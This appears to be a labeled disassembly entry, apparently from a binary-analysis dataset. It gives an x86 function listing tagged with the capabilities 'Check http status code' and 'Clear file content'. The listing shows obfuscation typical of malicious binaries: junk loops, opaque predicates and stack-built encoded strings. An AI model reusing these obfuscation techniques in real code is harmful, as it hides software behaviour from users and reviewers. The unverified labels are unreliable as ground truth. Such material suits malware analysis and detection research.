Function at 0x10002441
Capabilities:
Check http status code
Clear file content

Disassembly:
mov eax, 0x10060ae1
call fcn.10060508
sub esp, 0x5cc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x58], ecx
xor ebx, ebx
lea ecx, [ebp - 0x368]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0xc405
mov dword [ebp - 0x24], ebx
push 4
call fcn.10004892
push 0x3290
push ecx
push ecx
push 0x296f
lea eax, [ebp - 0x368]
mov dword [ebp - 0x28], 0xfffffffc
push eax
push ecx
mov dword [ebp - 0x22c], 0x66c1
lea edx, [ebp - 0x194]
mov cl, 1
call fcn.10001c35
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov edx, 0x5743
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
test eax, eax
mov eax, dword [ebp - 0x368]
push 0x2e8a
push ebx
push 0x5d1d
setg cl
mov dword [eax + 4], ecx
lea eax, [ebp - 0x22c]
push eax
push 0x5e46
push 0x5434
push 0x747a
push 0x16bc
push ebx
push 0x1922
push 0x779c
push 0x8c5
push 0x203d
push 0x3f9b
push 0x467c
push 1
mov ecx, 0x3942
call fcn.10001cbc
add esp, 0x58
lea ecx, [ebp - 0x368]
call fcn.100048f4
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x1a4], ebx
mov dword [ebp - 0x1a0], ebx
mov byte [ebp - 4], 1
lea eax, [ebp - 0x440]
push dword [ebp - 0x194]
movdqa xmm0, xmmword [0x1006fab0]
lea ecx, [ebp - 0x214]
push eax
lea eax, [ebp - 0x450]
mov dword [ebp - 0x18], 0x3b2b74c3
push eax
push ebx
mov dword [ebp - 0x24], 0xfffffff9
movdqu xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x20c], ebx
call fcn.100073f4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x18], 0x7d2a7e9f
push 3
call fcn.10004892
mov byte [ebp - 4], 3
mov dword [ebp - 0x4c], ebx
jmp 0x100025cc
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x188], 0xe7937d8e
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x100025bb
push ecx
push ecx
push 0x6e0
lea eax, [ebp - 0x4c]
push eax
push ebx
lea edx, [ebp - 0x2dc]
call fcn.100021fa
mov eax, dword [ebp - 0x188]
xor edx, edx
mov eax, dword [ebp - 0x188]
add esp, 0x14
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x18], 0xfffffffc
mov ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x188]
cmp ecx, eax
setl dl
mov dword [ebp - 0x24], edx
xor edx, edx
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x188]
mov dword [eax + 8], esi
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x188]
setg dl
xor ecx, ecx
cmp esi, eax
setne cl
cmp edx, ecx
je 0x10002652
cmp dword [ebp - 0x18], ebx
je 0x10002652
xor ecx, ecx
inc ecx
jmp 0x10002654
mov ecx, ebx
mov eax, dword [ebp - 0x188]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x180]
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x2dc]
setne dl
xor ecx, ecx
cmp edx, 1
setg cl
mov dword [eax], ecx
lea ecx, [ebp - 0x2dc]
call fcn.100048f4
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 1
call fcn.100048f4
push 0x2d
pop eax
push 0x72
mov byte [ebp - 0x89], al
mov ecx, ebx
mov byte [ebp - 0x87], al
pop eax
push 2
mov dword [ebp - 0x9c], 0x5f054f0a
mov dword [ebp - 0x98], 0xf0c4e02
mov dword [ebp - 0x94], 0xe070d01
mov dword [ebp - 0x90], 0xa0b0a04
mov word [ebp - 0x8c], 0x2c00
mov byte [ebp - 0x8a], 8
mov byte [ebp - 0x88], 6
mov dword [ebp - 0x86], 0x9ae2a02
mov word [ebp - 0x82], 0x337
mov byte [ebp - 0x80], 0x1c
mov word [ebp - 0x40c], ax
pop esi
cmp esi, 0x16
jne 0x1000272c
push 3
pop ecx
push 0x17
pop esi
jmp 0x10002764
movzx edx, byte [ebp + esi - 0x9b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x9e]
movzx ecx, word [ebp + eax*2 - 0x420]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x9c]
add ecx, edx
mov word [ebp + eax*2 - 0x420], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x1d
jb 0x1000271f
xor eax, eax
mov word [ebp - 0x406], ax
mov dword [ebp - 0x30], 0x61b4
cmp dword [ebp - 0x30], 0x6404
jle 0x100027f3
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esi
mov edi, ebx
xor esi, eax
mov eax, esi
lea ecx, [ebp - 0x4f0]
or eax, edi
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100027b8
mov eax, dword [eax]
push eax
call fcn.100483dc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f0]
call fcn.10004d74
inc edi
cmp edi, 0x6473
jl 0x1000279c
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x6ae6
jl 0x10002795
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x4326
jl 0x10002790
mov eax, 0x44455595
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x14], 0x7413
cmp dword [ebp - 0x14], 0x76f8
jle 0x10002869
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileType]
mov esi, ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], 0x6913
mov edi, ebx
mov ebx, dword [ebp - 0x18]
mov ecx, edi
mov eax, ebx
shl eax, cl
mov ecx, 0x1007c858
cdq
push edx
push eax
call fcn.10004668
inc edi
cmp edi, 0x2678
jl 0x10002838
dec ebx
dec dword [ebp - 0x24]
push 0
mov dword [ebp - 0x18], ebx
pop ebx
jne 0x10002833
inc esi
cmp esi, 0x10d3
jl 0x10002829
mov dword [ebp - 0x1c], 0xfffffff8
mov byte [ebp - 4], 4
cmp dword [ebp - 0x14], 0x7155
jge 0x100028aa
mov edx, str.unhyr_kzwz_yaf_gposxaj_bxcticxcl_wdx_iwbb_qswwul_ueiwcdgn_gascvoud_ogx_fgbmzqmp
mov ecx, 0x1007c858
call fcn.10006b3c
jmp 0x100028aa
push 0x2d
pop esi
mov dword [ebp - 0x14], ebx
jmp 0x100028c3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x288], 0x9649
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100028b2
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x178]
cmp ecx, eax
mov eax, dword [ebp - 0x17c]
setne dl
xor ecx, ecx
cmp edx, 0xfffffffa
setge cl
sub ecx, eax
mov eax, dword [ebp - 0x1c]
add eax, ecx
jne 0x100028fe
cmp dword [ebp - 0x17c], ebx
jne 0x100028fe
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x178]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x1c], ebx
jmp 0x10002946
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x17c]
mov dword [ebp - 0x288], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x10002933
cmp dword [ebp - 0x30], 0x6040
jge 0x10002960
push str.ecfjowe_gnoqzkk_cbbmscsr_piu_zlg_cuvgrpzk_nql
call fcn.100483dc
pop ecx
mov dword [ebp - 4], 1
mov ecx, ebx
push 2
mov word [ebp - 0x334], si
mov dword [ebp - 0x7c], 0x4e058302
mov dword [ebp - 0x78], 0x5f020c01
mov word [ebp - 0x74], 0x482
mov byte [ebp - 0x72], 0xe
mov byte [ebp - 0x71], bl
mov dword [ebp - 0x70], 0x60d030f
mov word [ebp - 0x6c], 0x70b
mov byte [ebp - 0x6a], 0xd
pop esi
mov dword [ebp - 0x150], ecx
cmp esi, 6
jne 0x100029b8
push 3
pop ecx
push 7
mov dword [ebp - 0x150], ecx
pop esi
jmp 0x10002a06
movzx edx, byte [ebp + esi - 0x7b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x7e]
movzx eax, word [ebp + eax*2 - 0x338]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x7c]
mov word [ebp + eax*2 - 0x338], cx
lea eax, [ebp - 0x150]
push eax
push ecx
push ecx
push 0x209
push 1
mov ecx, 0x2266
call fcn.10001c8b
mov ecx, dword [ebp - 0x150]
add esp, 0x14
add esi, 2
cmp esi, 0x13
jb 0x100029a5
xor eax, eax
mov dword [ebp - 0x3d0], 7
mov word [ebp - 0x328], ax
lea ecx, [ebp - 0x3e4]
mov word [ebp - 0x3e4], ax
lea eax, [ebp - 0x338]
push eax
mov dword [ebp - 0x3d4], ebx
call fcn.10004db8
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x3c4]
xor eax, eax
mov dword [ebp - 0x3b4], ebx
push 7
pop esi
mov word [ebp - 0x3c4], ax
lea eax, [ebp - 0x420]
push eax
mov dword [ebp - 0x3b0], esi
call fcn.10004db8
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x4c0]
call fcn.10006ed5
lea eax, [ebp - 0x3e4]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.10006ed5
push ebx
push 1
lea ecx, [ebp - 0x3c4]
call fcn.10004e40
push ebx
push 1
lea ecx, [ebp - 0x3e4]
call fcn.10004e40
mov byte [ebp - 4], 9
lea eax, [ebp - 0x490]
push dword [ebp - 0x194]
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x1cc], ebx
push eax
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x1c8], ebx
push eax
push ebx
mov dword [ebp - 0x1c4], ebx
call fcn.10007287
push fcn.100044c9
push 1
push 0x30
lea eax, [ebp - 0x4c0]
mov byte [ebp - 4], 0xb
push eax
call fcn.1004817b
xor eax, eax
lea edi, [ebp - 0x420]
mov ecx, esi
rep stosd dword es:[edi], eax
push 1
lea ecx, [ebp - 0x30c]
call fcn.10004892
lea eax, [ebp - 0x30c]
mov ecx, 0x76d1
push eax
push 0x1afd
push ebx
lea edx, [ebp - 0x24c]
call fcn.10001a8d
mov eax, dword [ebp - 0x30c]
lea ecx, [ebp - 0x30c]
add esp, 0xc
mov byte [ebp - 4], 0xb
mov dword [eax], ebx
call fcn.100048f4
xor eax, eax
push dword [ebp - 0x24c]
movdqa xmm0, xmmword [0x1006fa60]
lea edi, [ebp - 0x338]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x220]
movdqu xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
stosd dword es:[edi], eax
mov dword [ebp - 0x218], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x430]
push eax
push ebx
call fcn.100073f4
push 3
lea ecx, [ebp - 0x35c]
mov byte [ebp - 4], 0xd
call fcn.10004892
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x28], 0xb8ea2c39
mov dword [ebp - 0x28], 0xb5ea
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10002be4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x35c]
mov dword [eax + ecx*4], 0xb88146cd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10002bd1
push 0x52f1
lea eax, [ebp - 0x220]
mov edx, 0x244
push eax
push 1
lea ecx, [ebp - 0x35c]
call fcn.10001a8d
push ebx
push 0x1dc8
push 0x5abf
lea eax, [ebp - 0x26c]
mov dl, 1
push ebx
push eax
mov ecx, 0x6a5a
call fcn.1000234a
add esp, 0x20
lea ecx, [ebp - 0x35c]
call fcn.100048f4
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 0xb
call fcn.100048f4
push ebx
lea eax, [ebp - 0x1cc]
mov dl, 1
push eax
lea eax, [ebp + 8]
mov ecx, 0x21fe
push eax
push 1
push 0x60df
call fcn.1000234a
mov dword [ebp - 0x2c], 0xbf5c
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x1c], 0xffffffff
add esp, 0x14
mov dword [ebp - 0x68], ebx
xor eax, eax
inc eax
mov dword [ebp - 0x13c], 0x8bc698dc
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], 0xe6337258
mov dword [ebp - 0x3c], eax
push 2
call fcn.10004892
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x30], 0x7c5c6a81
mov dword [ebp - 0x54], 0xe68f
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x274], 0x32b8
mov dword [ebp - 0x14], ebx
jmp 0x10002cd9
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x300]
mov dword [eax + ecx*4], 0x7b187b35
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10002cc6
cmp dword [ebp - 0x2c], ebx
jne 0x10002d6c
mov eax, dword [ebp - 0x54]
dec dword [ebp - 0x54]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x300]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x68]
je 0x10002d31
cmp dword [ebp - 0x1c], ebx
jne 0x10002d31
mov ecx, ebx
jmp 0x10002d34
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x24]
inc eax
add eax, ecx
mov ecx, 0xd2300b63
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x13c], 1
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x1c]
jne 0x10002d6c
mov edx, ebx
jmp 0x10002d6f
xor edx, edx
inc edx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x2c]
cmp eax, edx
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x20]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x3c], ebx
jmp 0x10002e50
mov dword [ebp - 0x278], 4
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0x28c], 0xb1b2b150
push 2
call fcn.10004892
push ecx
lea eax, [ebp - 0x390]
mov byte [ebp - 4], 0x10
push eax
mov dword [ebp - 0x27c], 0x7bf6b3da
lea edx, [ebp - 0x2e8]
push ecx
call fcn.10001ae4
lea eax, [ebp - 0x13c]
mov ecx, 0x1fec
push eax
push 1
push 0x719f
push 0x5f1e
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x274]
push eax
push 0x7fd4
push 0x299b
push 1
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x2e8]
push eax
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x278]
push eax
push 0x6be0
push ebx
lea edx, [ebp - 0x68]
call fcn.10001cbc
add esp, 0x4c
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2e8]
call fcn.100048f4
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xc
jle 0x10002d9b
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0xb
call fcn.100048f4
push ebx
push 0x1fd4
push 0x299c
call fcn.1001b736
pop ecx
pop ecx
call eax
push 1
lea ecx, [ebp - 0x2a4]
call fcn.10004892
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x20], 0x4d2b5f79
mov dword [ebp - 0x28], 0x3dd972c4
push 2
call fcn.10004892
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x12
push eax
push ecx
push ecx
mov dword [ebp - 0x19c], 0xffffffff
lea edx, [ebp - 0x2a4]
mov dword [ebp - 0x18], 4
xor cl, cl
push 0x4248
call fcn.100021b7
xor edx, edx
mov dword [ebp - 0x34], ebx
add esp, 0x10
inc edx
jmp 0x10002eeb
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x50], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jl 0x10002ee1
mov dword [ebp - 0x34], ebx
jmp 0x10002f04
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2b0]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x10002ef5
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2a4]
mov dword [eax], ecx
cmp ecx, dword [ebp - 0x50]
je 0x10002f2a
mov esi, edx
cmp dword [ebp - 0x28], ebx
jne 0x10002f2c
mov esi, ebx
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x2b0]
push 0
setne cl
cmp ecx, 7
sbb ecx, ecx
inc ecx
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x20]
pop ecx
setne cl
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x19c], ecx
jne 0x10002f69
mov eax, dword [ebp - 0x2b0]
mov ecx, ebx
cmp dword [eax], ebx
je 0x10002f6b
mov ecx, edx
mov eax, dword [ebp - 0x50]
push 0x7efa
push edx
push 0x36ba
push 0x3cdb
push 0x513b
push 0x4595
push 0x71d0
add eax, ecx
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x19c]
push eax
push edx
push 0x1515
push 0x1566
push 0x2641
push 0x5140
push 0xa46
push 0x4560
push edx
mov edx, 0x1569
call fcn.10001cbc
add esp, 0x40
lea ecx, [ebp - 0x2b0]
call fcn.100048f4
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0xb
call fcn.100048f4
mov dword [ebp - 0x14], ebx
jmp 0x10002ffc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1bc], 0xe1757117
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10002feb
mov dword [ebp - 0x1b8], ebx
jmp 0x1000307e
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10003023
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x264], 0x23e64f14
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10003012
mov ecx, dword [ebp - 0x1bc]
xor edx, edx
mov eax, dword [ebp - 0x1b8]
imul ecx, eax
mov eax, dword [ebp - 0x260]
add ecx, eax
mov eax, dword [ebp - 0x1bc]
cmp ecx, eax
mov eax, dword [ebp - 0x260]
setge dl
xor ecx, ecx
cmp eax, 0x28fb
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x264]
setge cl
xor edx, edx
cmp ecx, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
inc dword [ebp - 0x1b8]
cmp dword [ebp - 0x1b8], 0x17
jge 0x1000300a
xor eax, eax
mov dword [ebp - 0x14], 0xffffffff
push 1
lea ecx, [ebp - 0x208]
mov word [ebp - 0x3ac], ax
call fcn.10004892
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x28], 0xe6a3735b
mov dword [ebp - 0x18], 0x2ba3
cmp dword [ebp - 0x18], 0x2e2c
jle 0x100030fc
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0x2fe9
mov ecx, ebx
mov eax, edi
shl eax, cl
mov ecx, 0x1007c858
cdq
push edx
push eax
call fcn.10004668
add ebx, esi
dec dword [ebp - 0x20]
jne 0x100030cd
inc esi
push 0
pop ebx
cmp esi, 0x755f
jl 0x100030c3
inc edi
cmp edi, 0x19da
jl 0x100030c1
mov dword [ebp - 0x24], 1
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x18], 0x2a76
jge 0x1000313d
mov edx, str.dnxr_urig_dvd_wvoiopbdz_lgrdmdvg_aygflo_yuh
mov ecx, 0x1007c858
call fcn.10006b3c
jmp 0x1000313d
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x374]
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x18], 0xaf14186e
push 1
call fcn.10004892
push 0x27a3
push 0x7904
push 0x34
push 0x4b64
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 0x16
push eax
push 1
push 0xf23
push 0x320a
push 0xb4d
lea eax, [ebp - 0x208]
mov dword [ebp - 0x20], 0x367afff1
push ebx
mov dword [ebp - 0x20], 0x5bccbf78
xor dl, dl
push eax
mov ecx, 0x32e5
call fcn.10001dc7
push 1
push 0x1b20
push 0x6f61
lea eax, [ebp - 0x374]
mov edx, 0x3bcb
push eax
push 1
push 0x731a
lea eax, [ebp - 0x228]
xor cl, cl
push eax
push 0x111a
call fcn.1000222e
add esp, 0x4c
dec dword [ebp - 0x18]
imul eax, dword [ebp - 0x18], 0xffff
test eax, eax
jne 0x10003264
cmp dword [ebp - 0x24], 0x3097
jne 0x10003209
mov eax, dword [ebp - 0x208]
cmp dword [eax], ebx
je 0x10003209
xor edx, edx
inc edx
jmp 0x1000320b
mov edx, ebx
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax]
lea eax, [edx + ecx]
cmp eax, ecx
jg 0x10003224
cmp dword [ebp - 0x24], ebx
je 0x10003224
xor ecx, ecx
inc ecx
jmp 0x10003226
mov ecx, ebx
mov eax, dword [ebp - 0x208]
dec ecx
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x24]
cmp eax, 0x28e
setge cl
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
add ecx, 0xf51534d4
neg ecx
sbb ecx, ecx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x374]
mov dword [eax], ecx
jne 0x10003264
mov ecx, ebx
jmp 0x10003267
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0x4c92
lea ecx, [ebp - 0x374]
setg al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
call fcn.100048f4
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0xb
call fcn.100048f4
push 4
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x38], ebx
call fcn.10004892
push 0x3cd5
lea eax, [ebp - 0x3cc]
mov byte [ebp - 4], 0x17
push eax
push 0x792d
push 0x4c0b
push 0xd2
push ebx
lea eax, [ebp - 0x238]
mov dword [ebp - 0x284], ebx
push eax
push 0x6921
push 0x357
push 1
push 0x1bb1
mov dl, 1
mov dword [ebp - 0x270], 0xffffffff
mov ecx, 0x6c5f
call fcn.10001dc7
mov eax, dword [ebp - 0x238]
add esp, 0x2c
mov dword [eax + 8], ebx
lea eax, [ebp - 0x270]
mov dword [ebp - 0x280], 0xa7c20398
push eax
push 0x675b
push 0x4e55
lea eax, [ebp - 0x238]
xor dl, dl
push eax
push 0x5114
push 1
push 0x2ca1
lea eax, [ebp - 0x280]
mov ecx, 0x1c09
push eax
lea eax, [ebp - 0x284]
push eax
push 1
push 0x7844
call fcn.10001dc7
mov eax, dword [ebp - 0x238]
add esp, 0x2c
dec dword [eax + 8]
cmp dword [eax + 8], 0xfffffff5
jge 0x10003305
push 0x595
push 1
lea eax, [ebp - 0x3e]
mov byte [ebp - 0x3e], bl
push eax
push ebx
push 0x6bc
mov edx, 0x38d5
mov cl, 1
call fcn.10001f5a
add esp, 0x14
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x238]
call fcn.100048f4
mov dword [ebp - 0x14], 0xe77dd688
mov dword [ebp - 0x28], 0x3588c556
mov dword [ebp - 0x20], 0xf0dfbc43
mov dword [ebp - 0x1c], ebx
jmp 0x100033c3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x148], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100033b2
mov dword [ebp - 0x1c], ebx
jmp 0x100033df
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x224], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100033ce
mov dword [ebp - 0x1c], ebx
jmp 0x100033fb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x38c], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100033ea
push 0xfffffffffffffffe
pop edi
mov dword [ebp - 0x144], edi
jmp 0x1000341a
cmp dword [ebp - 0x148], ebx
jne 0x10003423
inc dword [ebp - 0x144]
cmp dword [ebp - 0x144], 0x19
jle 0x1000340c
mov dword [ebp - 0x14], 8
jmp 0x100034f8
push 1
lea ecx, [ebp - 0x298]
call fcn.10004892
push 0x596b
push 0xcd7
lea eax, [ebp - 0x298]
mov byte [ebp - 4], 0x18
push eax
push 0x6b23
push 0x5e53
push 1
push 0x17d2
push 0x874
push 0x6470
push 1
mov dword [ebp - 0x18], 0x6e6c8cac
lea ecx, [ebp - 0x3f0]
push 0x4760
mov dl, 1
call fcn.10001dc7
mov eax, dword [ebp - 0x144]
add esp, 0x2c
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x298]
cmp ecx, dword [eax]
jne 0x100034b6
cmp dword [ebp - 0x224], ebx
je 0x100034b6
xor ecx, ecx
inc ecx
jmp 0x100034b8
mov ecx, ebx
mov eax, dword [ebp - 0x144]
sub ecx, eax
je 0x100034cf
cmp dword [ebp - 0x140], ebx
je 0x100034cf
xor edx, edx
inc edx
jmp 0x100034d1
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x388], ebx
jne 0x10003504
call fcn.100048f4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xf
jg 0x1000342f
jmp 0x10003509
call fcn.100048f4
push 0xb
pop eax
push 0x7b
mov byte [ebp - 0xe1], al
mov byte [ebp - 0xdc], al
pop eax
push 2
mov byte [ebp - 0xe8], bl
mov dword [ebp - 0xe7], 0x14560ef8
mov word [ebp - 0xe3], 0x1214
mov dword [ebp - 0xe0], 0x7008061d
mov dword [ebp - 0xdb], 0x110a2077
mov dword [ebp - 0xd7], 0x197d0d7d
mov dword [ebp - 0xd3], 0x9092209
mov dword [ebp - 0xcf], 0x11b2114
mov dword [ebp - 0xcb], 0x18031e73
mov dword [ebp - 0xc7], 0x101c0f6b
mov byte [ebp - 0xc3], bl
mov dword [ebp - 0xc2], 0x4c154c25
mov dword [ebp - 0xbe], 0xc0c0907
mov dword [ebp - 0xba], 0x75057002
mov dword [ebp - 0xb6], 0x8060924
mov dword [ebp - 0xb2], 0x623731b
mov dword [ebp - 0xae], 0x31f7117
mov dword [ebp - 0xaa], 0x7516030a
mov dword [ebp - 0xa6], 0x15036c13
mov word [ebp - 0xa2], 0x81c
mov byte [ebp - 0xa0], 0x1a
mov byte [ebp - 0x9f], bl
mov word [ebp - 0x9e], 0x7304
mov word [ebp - 0x540], ax
pop esi
movzx eax, byte [ebp + esi - 0xea]
movzx ecx, byte [ebp + esi - 0xe7]
movzx eax, word [ebp + eax*2 - 0x540]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0xe8]
add esi, 2
mov word [ebp + eax*2 - 0x540], dx
cmp esi, 0x4c
jb 0x100035f9
xor eax, eax
